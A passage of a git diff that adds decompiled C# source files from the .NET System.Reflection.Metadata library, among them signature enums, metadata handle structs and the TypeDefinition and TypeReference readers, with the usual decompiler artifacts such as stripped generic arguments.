0000000..ac4f168 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SignatureKind.cs @@ -0,0 +1,10 @@ +namespace System.Reflection.Metadata; + +public enum SignatureKind : byte +{ + Method = 0, + Field = 6, + LocalVariables = 7, + Property = 8, + MethodSpecification = 10 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SignatureTypeCode.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SignatureTypeCode.cs new file mode 100644 index 0000000..2d612fa --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SignatureTypeCode.cs @@ -0,0 +1,37 @@ +namespace System.Reflection.Metadata; + +public enum SignatureTypeCode : byte +{ + Invalid = 0, + Void = 1, + Boolean = 2, + Char = 3, + SByte = 4, + Byte = 5, + Int16 = 6, + UInt16 = 7, + Int32 = 8, + UInt32 = 9, + Int64 = 10, + UInt64 = 11, + Single = 12, + Double = 13, + String = 14, + Pointer = 15, + ByReference = 16, + GenericTypeParameter = 19, + Array = 20, + GenericTypeInstance = 21, + TypedReference = 22, + IntPtr = 24, + UIntPtr = 25, + FunctionPointer = 27, + Object = 28, + SZArray = 29, + GenericMethodParameter = 30, + RequiredModifier = 31, + OptionalModifier = 32, + TypeHandle = 64, + Sentinel = 65, + Pinned = 69 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SignatureTypeKind.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SignatureTypeKind.cs new file mode 100644 index 0000000..6bd31fe --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/SignatureTypeKind.cs @@ -0,0 +1,8 @@ +namespace System.Reflection.Metadata; + +public enum SignatureTypeKind : byte +{ + Unknown = 0, + Class = 18, + ValueType = 17 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/StandaloneSignature.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/StandaloneSignature.cs new file mode 100644 index 0000000..71d55a9 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/StandaloneSignature.cs @@ -0,0 +1,51 @@ +using System.Collections.Immutable; +using System.Reflection.Metadata.Ecma335; + +namespace System.Reflection.Metadata; + +public readonly struct StandaloneSignature +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private StandaloneSignatureHandle Handle => StandaloneSignatureHandle.FromRowId(_rowId); + + public BlobHandle Signature => _reader.StandAloneSigTable.GetSignature(_rowId); + + internal StandaloneSignature(MetadataReader reader, StandaloneSignatureHandle handle) + { + _reader = reader; + _rowId = handle.RowId; + } + + public MethodSignature DecodeMethodSignature(ISignatureTypeProvider provider, TGenericContext genericContext) + { + SignatureDecoder signatureDecoder = new SignatureDecoder(provider, _reader, genericContext); + BlobReader blobReader = _reader.GetBlobReader(Signature); + return signatureDecoder.DecodeMethodSignature(ref blobReader); + } + + public ImmutableArray DecodeLocalSignature(ISignatureTypeProvider provider, TGenericContext genericContext) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + SignatureDecoder signatureDecoder = new SignatureDecoder(provider, _reader, genericContext); + BlobReader blobReader = _reader.GetBlobReader(Signature); + return signatureDecoder.DecodeLocalSignature(ref blobReader); + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + return new CustomAttributeHandleCollection(_reader, Handle); + } + + public StandaloneSignatureKind GetKind() + { + return _reader.GetBlobReader(Signature).ReadSignatureHeader().Kind switch + { + SignatureKind.Method => StandaloneSignatureKind.Method, + SignatureKind.LocalVariables => StandaloneSignatureKind.LocalVariables, + _ => throw new BadImageFormatException(), + }; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/StandaloneSignatureHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/StandaloneSignatureHandle.cs new file mode 100644 index 0000000..1d9e839 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/StandaloneSignatureHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct StandaloneSignatureHandle : IEquatable +{ + private const uint tokenType = 285212672u; + + private const byte tokenTypeSmall = 17; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private StandaloneSignatureHandle(int rowId) + { + _rowId = rowId; + } + + internal static StandaloneSignatureHandle FromRowId(int rowId) + { + return new StandaloneSignatureHandle(rowId); + } + + public static implicit operator Handle(StandaloneSignatureHandle handle) + { + return new Handle(17, handle._rowId); + } + + public static implicit operator EntityHandle(StandaloneSignatureHandle handle) + { + return new EntityHandle((uint)(0x11000000uL | (ulong)handle._rowId)); + } + + public static explicit operator StandaloneSignatureHandle(Handle handle) + { + if (handle.VType != 17) + { + Throw.InvalidCast(); + } + return new StandaloneSignatureHandle(handle.RowId); + } + + public static explicit operator StandaloneSignatureHandle(EntityHandle handle) + { + if (handle.VType != 285212672) + { + Throw.InvalidCast(); + } + return new StandaloneSignatureHandle(handle.RowId); + } + + public static bool operator ==(StandaloneSignatureHandle left, StandaloneSignatureHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is StandaloneSignatureHandle) + { + return ((StandaloneSignatureHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(StandaloneSignatureHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(StandaloneSignatureHandle left, StandaloneSignatureHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/StandaloneSignatureKind.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/StandaloneSignatureKind.cs new file mode 100644 index 0000000..aa8062d --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/StandaloneSignatureKind.cs @@ -0,0 +1,7 @@ +namespace System.Reflection.Metadata; + +public enum StandaloneSignatureKind +{ + Method, + LocalVariables +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/StringHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/StringHandle.cs new file mode 100644 index 0000000..ec15d90 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/StringHandle.cs @@ -0,0 +1,185 @@ +using System.Reflection.Metadata.Ecma335; + +namespace System.Reflection.Metadata; + +public readonly struct StringHandle : IEquatable +{ + internal enum VirtualIndex + { + System_Runtime_WindowsRuntime, + System_Runtime, + System_ObjectModel, + System_Runtime_WindowsRuntime_UI_Xaml, + System_Runtime_InteropServices_WindowsRuntime, + System_Numerics_Vectors, + Dispose, + AttributeTargets, + AttributeUsageAttribute, + Color, + CornerRadius, + DateTimeOffset, + Duration, + DurationType, + EventHandler1, + EventRegistrationToken, + Exception, + GeneratorPosition, + GridLength, + GridUnitType, + ICommand, + IDictionary2, + IDisposable, + IEnumerable, + IEnumerable1, + IList, + IList1, + INotifyCollectionChanged, + INotifyPropertyChanged, + IReadOnlyDictionary2, + IReadOnlyList1, + KeyTime, + KeyValuePair2, + Matrix, + Matrix3D, + Matrix3x2, + Matrix4x4, + NotifyCollectionChangedAction, + NotifyCollectionChangedEventArgs, + NotifyCollectionChangedEventHandler, + Nullable1, + Plane, + Point, + PropertyChangedEventArgs, + PropertyChangedEventHandler, + Quaternion, + Rect, + RepeatBehavior, + RepeatBehaviorType, + Size, + System, + System_Collections, + System_Collections_Generic, + System_Collections_Specialized, + System_ComponentModel, + System_Numerics, + System_Windows_Input, + Thickness, + TimeSpan, + Type, + Uri, + Vector2, + Vector3, + Vector4, + Windows_Foundation, + Windows_UI, + Windows_UI_Xaml, + Windows_UI_Xaml_Controls_Primitives, + Windows_UI_Xaml_Media, + Windows_UI_Xaml_Media_Animation, + Windows_UI_Xaml_Media_Media3D, + Count + } + + private readonly uint _value; + + internal uint RawValue => _value; + + internal bool IsVirtual => (_value & 0x80000000u) != 0; + + public bool IsNil => (_value & 0x9FFFFFFFu) == 0; + + internal StringKind StringKind => (StringKind)(_value >> 29); + + private StringHandle(uint value) + { + _value = value; + } + + internal static StringHandle FromOffset(int heapOffset) + { + return new StringHandle((uint)(0 | heapOffset)); + } + + internal static StringHandle FromVirtualIndex(VirtualIndex virtualIndex) + { + return new StringHandle((uint)((VirtualIndex)(-2147483648) | virtualIndex)); + } + + internal static StringHandle FromWriterVirtualIndex(int virtualIndex) + { + return new StringHandle((uint)(int.MinValue | virtualIndex)); + } + + internal StringHandle WithWinRTPrefix() + { + return new StringHandle(0xA0000000u | _value); + } + + internal StringHandle WithDotTermination() + { + return new StringHandle(0x20000000 | _value); + } + + internal StringHandle SuffixRaw(int prefixByteLength) + { + return new StringHandle((uint)(0 | ((int)_value + prefixByteLength))); + } + + public static implicit operator Handle(StringHandle handle) + { + return new Handle((byte)(((handle._value & 0x80000000u) >> 24) | 0x78 | ((handle._value & 0x60000000) >> 29)), (int)(handle._value & 0x1FFFFFFF)); + } + + public static explicit operator StringHandle(Handle handle) + { + if ((handle.VType & -132) != 120) + { + Throw.InvalidCast(); + } + return new StringHandle((uint)(((handle.VType & 0x80) << 24) | ((handle.VType & 3) << 29) | handle.Offset)); + } + + internal int GetHeapOffset() + { + return (int)(_value & 0x1FFFFFFF); + } + + internal VirtualIndex GetVirtualIndex() + { + return (VirtualIndex)(_value & 0x1FFFFFFF); + } + + internal int GetWriterVirtualIndex() + { + return (int)(_value & 0x1FFFFFFF); + } + + public override bool Equals(object? obj) + { + if (obj is StringHandle) + { + return Equals((StringHandle)obj); + } + return false; + } + + public bool Equals(StringHandle other) + { + return _value == other._value; + } + + public override int GetHashCode() + { + return (int)_value; + } + + public static bool operator ==(StringHandle left, StringHandle right) + { + return left.Equals(right); + } + + public static bool operator !=(StringHandle left, StringHandle right) + { + return !left.Equals(right); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/StringUtils.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/StringUtils.cs new file mode 100644 index 0000000..07b0db1 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/StringUtils.cs @@ -0,0 +1,26 @@ +namespace System.Reflection.Metadata; + +internal static class StringUtils +{ + internal static int IgnoreCaseMask(bool ignoreCase) + { + if (!ignoreCase) + { + return 255; + } + return 32; + } + + internal static bool IsEqualAscii(int a, int b, int ignoreCaseMask) + { + if (a != b) + { + if ((a | 0x20) == (b | 0x20)) + { + return (uint)((a | ignoreCaseMask) - 97) <= 25u; + } + return false; + } + return true; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeDefinition.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeDefinition.cs new file mode 100644 index 0000000..aa52bf6 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeDefinition.cs @@ -0,0 +1,219 @@ +using System.Collections.Immutable; +using System.Reflection.Metadata.Ecma335; + +namespace System.Reflection.Metadata; + +public readonly struct TypeDefinition +{ + private readonly MetadataReader _reader; + + private readonly uint _treatmentAndRowId; + + private int RowId => (int)(_treatmentAndRowId & 0xFFFFFF); + + private TypeDefTreatment Treatment => (TypeDefTreatment)(_treatmentAndRowId >> 24); + + private TypeDefinitionHandle Handle => TypeDefinitionHandle.FromRowId(RowId); + + public TypeAttributes Attributes + { + get + { + if (Treatment == TypeDefTreatment.None) + { + return _reader.TypeDefTable.GetFlags(Handle); + } + return GetProjectedFlags(); + } + } + + public bool IsNested => Attributes.IsNested(); + + public StringHandle Name + { + get + { + if (Treatment == TypeDefTreatment.None) + { + return _reader.TypeDefTable.GetName(Handle); + } + return GetProjectedName(); + } + } + + public StringHandle Namespace + { + get + { + if (Treatment == TypeDefTreatment.None) + { + return _reader.TypeDefTable.GetNamespace(Handle); + } + return GetProjectedNamespaceString(); + } + } + + public NamespaceDefinitionHandle NamespaceDefinition + { + get + { + if (Treatment == TypeDefTreatment.None) + { + return _reader.TypeDefTable.GetNamespaceDefinition(Handle); + } + return GetProjectedNamespace(); + } + } + + public EntityHandle BaseType + { + get + { + if (Treatment == TypeDefTreatment.None) + { + return _reader.TypeDefTable.GetExtends(Handle); + } + return GetProjectedBaseType(); + } + } + + internal TypeDefinition(MetadataReader reader, uint treatmentAndRowId) + { + _reader = reader; + _treatmentAndRowId = treatmentAndRowId; + } + + public TypeLayout GetLayout() + { + int num = _reader.ClassLayoutTable.FindRow(Handle); + if (num == 0) + { + return default(TypeLayout); + } + uint classSize = _reader.ClassLayoutTable.GetClassSize(num); + if ((int)classSize != classSize) + { + throw new BadImageFormatException(System.SR.InvalidTypeSize); + } + int packingSize = _reader.ClassLayoutTable.GetPackingSize(num); + return new TypeLayout((int)classSize, packingSize); + } + + public TypeDefinitionHandle GetDeclaringType() + { + return _reader.NestedClassTable.FindEnclosingType(Handle); + } + + public GenericParameterHandleCollection GetGenericParameters() + { + return _reader.GenericParamTable.FindGenericParametersForType(Handle); + } + + public MethodDefinitionHandleCollection GetMethods() + { + return new MethodDefinitionHandleCollection(_reader, Handle); + } + + public FieldDefinitionHandleCollection GetFields() + { + return new FieldDefinitionHandleCollection(_reader, Handle); + } + + public PropertyDefinitionHandleCollection GetProperties() + { + return new PropertyDefinitionHandleCollection(_reader, Handle); + } + + public EventDefinitionHandleCollection GetEvents() + { + return new EventDefinitionHandleCollection(_reader, Handle); + } + + public ImmutableArray GetNestedTypes() + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return _reader.GetNestedTypes(Handle); + } + + public MethodImplementationHandleCollection GetMethodImplementations() + { + return new MethodImplementationHandleCollection(_reader, Handle); + } + + public InterfaceImplementationHandleCollection GetInterfaceImplementations() + { + return new InterfaceImplementationHandleCollection(_reader, Handle); + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + return new CustomAttributeHandleCollection(_reader, Handle); + } + + public DeclarativeSecurityAttributeHandleCollection GetDeclarativeSecurityAttributes() + { + return new DeclarativeSecurityAttributeHandleCollection(_reader, Handle); + } + + private TypeAttributes GetProjectedFlags() + { + TypeAttributes typeAttributes = _reader.TypeDefTable.GetFlags(Handle); + TypeDefTreatment treatment = Treatment; + switch (treatment & TypeDefTreatment.KindMask) + { + case TypeDefTreatment.NormalNonAttribute: + typeAttributes |= TypeAttributes.Import | TypeAttributes.WindowsRuntime; + break; + case TypeDefTreatment.NormalAttribute: + typeAttributes |= TypeAttributes.Sealed | TypeAttributes.WindowsRuntime; + break; + case TypeDefTreatment.UnmangleWinRTName: + typeAttributes = (typeAttributes & ~TypeAttributes.SpecialName) | TypeAttributes.Public; + break; + case TypeDefTreatment.PrefixWinRTName: + typeAttributes = (typeAttributes & ~TypeAttributes.Public) | TypeAttributes.Import; + break; + case TypeDefTreatment.RedirectedToClrType: + typeAttributes = (typeAttributes & ~TypeAttributes.Public) | TypeAttributes.Import; + break; + case TypeDefTreatment.RedirectedToClrAttribute: + typeAttributes &= ~TypeAttributes.Public; + break; + } + if ((treatment & TypeDefTreatment.MarkAbstractFlag) != TypeDefTreatment.None) + { + typeAttributes |= TypeAttributes.Abstract; + } + if ((treatment & TypeDefTreatment.MarkInternalFlag) != TypeDefTreatment.None) + { + typeAttributes &= ~TypeAttributes.Public; + } + return typeAttributes; + } + + private StringHandle GetProjectedName() + { + StringHandle name = _reader.TypeDefTable.GetName(Handle); + return (Treatment & TypeDefTreatment.KindMask) switch + { + TypeDefTreatment.UnmangleWinRTName => name.SuffixRaw("".Length), + TypeDefTreatment.PrefixWinRTName => name.WithWinRTPrefix(), + _ => name, + }; + } + + private NamespaceDefinitionHandle GetProjectedNamespace() + { + return _reader.TypeDefTable.GetNamespaceDefinition(Handle); + } + + private StringHandle GetProjectedNamespaceString() + { + return _reader.TypeDefTable.GetNamespace(Handle); + } + + private EntityHandle GetProjectedBaseType() + { + return _reader.TypeDefTable.GetExtends(Handle); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeDefinitionHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeDefinitionHandle.cs new file mode 100644 index 0000000..b4b38bf --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeDefinitionHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct TypeDefinitionHandle : IEquatable +{ + private const uint tokenType = 33554432u; + + private const byte tokenTypeSmall = 2; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private TypeDefinitionHandle(int rowId) + { + _rowId = rowId; + } + + internal static TypeDefinitionHandle FromRowId(int rowId) + { + return new TypeDefinitionHandle(rowId); + } + + public static implicit operator Handle(TypeDefinitionHandle handle) + { + return new Handle(2, handle._rowId); + } + + public static implicit operator EntityHandle(TypeDefinitionHandle handle) + { + return new EntityHandle((uint)(0x2000000uL | (ulong)handle._rowId)); + } + + public static explicit operator TypeDefinitionHandle(Handle handle) + { + if (handle.VType != 2) + { + Throw.InvalidCast(); + } + return new TypeDefinitionHandle(handle.RowId); + } + + public static explicit operator TypeDefinitionHandle(EntityHandle handle) + { + if (handle.VType != 33554432) + { + Throw.InvalidCast(); + } + return new TypeDefinitionHandle(handle.RowId); + } + + public static bool operator ==(TypeDefinitionHandle left, TypeDefinitionHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is TypeDefinitionHandle) + { + return ((TypeDefinitionHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(TypeDefinitionHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(TypeDefinitionHandle left, TypeDefinitionHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeDefinitionHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeDefinitionHandleCollection.cs new file mode 100644 index 0000000..852614a --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeDefinitionHandleCollection.cs @@ -0,0 +1,70 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct TypeDefinitionHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public TypeDefinitionHandle Current => TypeDefinitionHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + + object IEnumerator.Current => Current; + + internal Enumerator(int lastRowId) + { + _lastRowId = lastRowId; + _currentRowId = 0; + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly int _lastRowId; + + public int Count => _lastRowId; + + internal TypeDefinitionHandleCollection(int lastRowId) + { + _lastRowId = lastRowId; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeLayout.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeLayout.cs new file mode 100644 index 0000000..f6d1b29 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeLayout.cs @@ -0,0 +1,24 @@ +namespace System.Reflection.Metadata; + +public readonly struct TypeLayout(int size, int packingSize) +{ + private readonly int _size = size; + + private readonly int _packingSize = packingSize; + + public int Size => _size; + + public int PackingSize => _packingSize; + + public bool IsDefault + { + get + { + if (_size == 0) + { + return _packingSize == 0; + } + return false; + } + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeReference.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeReference.cs new file mode 100644 index 0000000..4c31ba0 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeReference.cs @@ -0,0 +1,116 @@ +using System.Reflection.Metadata.Ecma335; + +namespace System.Reflection.Metadata; + +public readonly struct TypeReference +{ + private readonly MetadataReader _reader; + + private readonly uint _treatmentAndRowId; + + private int RowId => (int)(_treatmentAndRowId & 0xFFFFFF); + + private TypeRefTreatment Treatment => (TypeRefTreatment)(_treatmentAndRowId >> 24); + + private TypeReferenceHandle Handle => TypeReferenceHandle.FromRowId(RowId); + + public EntityHandle ResolutionScope + { + get + { + if (Treatment == TypeRefTreatment.None) + { + return _reader.TypeRefTable.GetResolutionScope(Handle); + } + return GetProjectedResolutionScope(); + } + } + + public StringHandle Name + { + get + { + if (Treatment == TypeRefTreatment.None) + { + return _reader.TypeRefTable.GetName(Handle); + } + return GetProjectedName(); + } + } + + public StringHandle Namespace + { + get + { + if (Treatment == TypeRefTreatment.None) + { + return _reader.TypeRefTable.GetNamespace(Handle); + } + return GetProjectedNamespace(); + } + } + + internal TypeRefSignatureTreatment SignatureTreatment + { + get + { + if (Treatment == TypeRefTreatment.None) + { + return TypeRefSignatureTreatment.None; + } + return GetProjectedSignatureTreatment(); + } + } + + internal TypeReference(MetadataReader reader, uint treatmentAndRowId) + { + _reader = reader; + _treatmentAndRowId = treatmentAndRowId; + } + + private EntityHandle GetProjectedResolutionScope() + { + switch (Treatment) + { + case TypeRefTreatment.SystemDelegate: + case TypeRefTreatment.SystemAttribute: + return AssemblyReferenceHandle.FromVirtualIndex(AssemblyReferenceHandle.VirtualIndex.System_Runtime); + case TypeRefTreatment.UseProjectionInfo: + return MetadataReader.GetProjectedAssemblyRef(RowId); + default: + return default(AssemblyReferenceHandle); + } + } + + private StringHandle GetProjectedName() + { + if (Treatment == TypeRefTreatment.UseProjectionInfo) + { + return MetadataReader.GetProjectedName(RowId); + } + return _reader.TypeRefTable.GetName(Handle); + } + + private StringHandle GetProjectedNamespace() + { + switch (Treatment) + { + case TypeRefTreatment.SystemDelegate: + case TypeRefTreatment.SystemAttribute: + return StringHandle.FromVirtualIndex(StringHandle.VirtualIndex.System); + case TypeRefTreatment.UseProjectionInfo: + return MetadataReader.GetProjectedNamespace(RowId); + default: + return default(StringHandle); + } + } + + private TypeRefSignatureTreatment GetProjectedSignatureTreatment() + { + if (Treatment == TypeRefTreatment.UseProjectionInfo) + { + return MetadataReader.GetProjectedSignatureTreatment(RowId); + } + return TypeRefSignatureTreatment.None; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeReferenceHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeReferenceHandle.cs new file mode 100644 index 0000000..e90a50e --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeReferenceHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct TypeReferenceHandle : IEquatable +{ + private const uint tokenType = 16777216u; + + private const byte tokenTypeSmall = 1; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private TypeReferenceHandle(int rowId) + { + _rowId = rowId; + } + + internal static TypeReferenceHandle FromRowId(int rowId) + { + return new TypeReferenceHandle(rowId); + } + + public static implicit operator Handle(TypeReferenceHandle handle) + { + return new Handle(1, handle._rowId); + } + + public static implicit operator EntityHandle(TypeReferenceHandle handle) + { + return new EntityHandle((uint)(0x1000000uL | (ulong)handle._rowId)); + } + + public static explicit operator TypeReferenceHandle(Handle handle) + { + if (handle.VType != 1) + { + Throw.InvalidCast(); + } + return new TypeReferenceHandle(handle.RowId); + } + + public static explicit operator TypeReferenceHandle(EntityHandle handle) + { + if (handle.VType != 16777216) + { + Throw.InvalidCast(); + } + return new TypeReferenceHandle(handle.RowId); + } + + public static bool operator ==(TypeReferenceHandle left, TypeReferenceHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is TypeReferenceHandle) + { + return ((TypeReferenceHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(TypeReferenceHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(TypeReferenceHandle left, TypeReferenceHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeReferenceHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeReferenceHandleCollection.cs new file mode 100644 index 0000000..3b236ff --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeReferenceHandleCollection.cs @@ -0,0 +1,70 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct TypeReferenceHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public TypeReferenceHandle Current => TypeReferenceHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + + object IEnumerator.Current => Current; + + internal Enumerator(int lastRowId) + { + _lastRowId = lastRowId; + _currentRowId = 0; + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly int _lastRowId; + + public int Count => _lastRowId; + + internal TypeReferenceHandleCollection(int lastRowId) + { + _lastRowId = lastRowId; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeSpecification.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeSpecification.cs new file mode 100644 index 0000000..9507cc1 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeSpecification.cs @@ -0,0 +1,32 @@ +using System.Reflection.Metadata.Ecma335; + +namespace System.Reflection.Metadata; + +public readonly struct TypeSpecification +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private TypeSpecificationHandle Handle => TypeSpecificationHandle.FromRowId(_rowId); + + public BlobHandle Signature => _reader.TypeSpecTable.GetSignature(Handle); + + internal TypeSpecification(MetadataReader reader, TypeSpecificationHandle handle) + { + _reader = reader; + _rowId = handle.RowId; + } + + public TType DecodeSignature(ISignatureTypeProvider provider, TGenericContext genericContext) + { + SignatureDecoder signatureDecoder = new SignatureDecoder(provider, _reader, genericContext); + BlobReader blobReader = _reader.GetBlobReader(Signature); + return signatureDecoder.DecodeType(ref blobReader); + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + return new CustomAttributeHandleCollection(_reader, Handle); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeSpecificationHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeSpecificationHandle.cs new file mode 100644 index 0000000..44b8e22 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/TypeSpecificationHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct TypeSpecificationHandle : IEquatable +{ + private const uint tokenType = 452984832u; + + private const byte tokenTypeSmall = 27; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private TypeSpecificationHandle(int rowId) + { + _rowId = rowId; + } + + internal static TypeSpecificationHandle FromRowId(int rowId) + { + return new TypeSpecificationHandle(rowId); + } + + public static implicit operator Handle(TypeSpecificationHandle handle) + { + return new Handle(27, handle._rowId); + } + + public static implicit operator EntityHandle(TypeSpecificationHandle handle) + { + return new EntityHandle((uint)(0x1B000000uL | (ulong)handle._rowId)); + } + + public static explicit operator TypeSpecificationHandle(Handle handle) + { + if (handle.VType != 27) + { + Throw.InvalidCast(); + } + return new TypeSpecificationHandle(handle.RowId); + } + + public static explicit operator TypeSpecificationHandle(EntityHandle handle) + { + if (handle.VType != 452984832) + { + Throw.InvalidCast(); + } + return new TypeSpecificationHandle(handle.RowId); + } + + public static bool operator ==(TypeSpecificationHandle left, TypeSpecificationHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is TypeSpecificationHandle) + { + return ((TypeSpecificationHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(TypeSpecificationHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(TypeSpecificationHandle left, TypeSpecificationHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/UserStringHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/UserStringHandle.cs new file mode 100644 index 0000000..c8b132f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/UserStringHandle.cs @@ -0,0 +1,67 @@ +namespace 